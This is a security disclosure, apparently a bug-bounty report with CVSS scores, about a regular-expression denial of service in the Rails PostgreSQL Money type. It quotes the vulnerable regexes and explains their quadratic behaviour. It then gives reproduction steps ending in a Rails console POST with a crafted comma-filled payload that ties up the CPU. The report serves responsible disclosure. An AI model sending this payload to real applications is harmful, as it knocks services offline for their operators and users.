7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
0.002 Low
EPSS
Percentile
54.3%
Hello team! The regular expressions used in the Money type to convert strings like -$100,000.00
to 100000
have an execution time with a quadratic growth proportional to the length of the string.
Causing the denial of service requires very long strings but if the parameter is in a post body that won’t be a problem.
The regular expressions marked (1)
and (2)
in the following code are the vulnerable expressions
case value
when /^-?\D*[\d,]+\.\d{2}$/ # (1)
value.gsub!(/[^-\d.]/, "")
when /^-?\D*[\d.]+,\d{2}$/ # (2)
value.gsub!(/[^-\d,]/, "").sub!(/,/, ".")
end
This code is invoked when Rails saves a user-input value in a Money
field. If we look at the first expression, the problem comes from this bit \D*[\d,]+
. It matches “not a number” 0 or more times and then “a number or a ,” one or more times. The ,
can match both expressions so this is somewhat equivalent to ,*,+
as far as the attack is concerned and is where the O(n^2)
execution time comes from.
I’m going to assume PostgreSQL is installed and configured on the machine.
Now we’ll install the PostgreSQL ruby interface, setup a rails application and scaffold a view for the attack.
gem install pg
rails new moneydos --database=postgresql
cd moneydos
rails db:setup
rails g scaffold Money amount:money
rake db:migrate
Now in the rails console
run these commands. (The same could be accomplished though the UI, but this is simpler for reproduction purpose)
app.host = 'localhost'
app.get '/money'
token = app.session[:_csrf_token]
app.post '/money/', params: {money: {amount: ("$" + ","*100000 + ".11!")}, authenticity_token: token}
The last line takes 40 seconds to execute on my machine. Add a 0 to the ","*100000
part and the CPU will pretty much spin forever. An attacker could repeat those requests many times to reach full saturation of the host’s CPU capabilities and achieve a complete denial of service.
Denial of service and 100% CPU usage in situations where a malicious user is able to input money amounts in a request body (web shops come to mind as the obvious target)
7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
0.002 Low
EPSS
Percentile
54.3%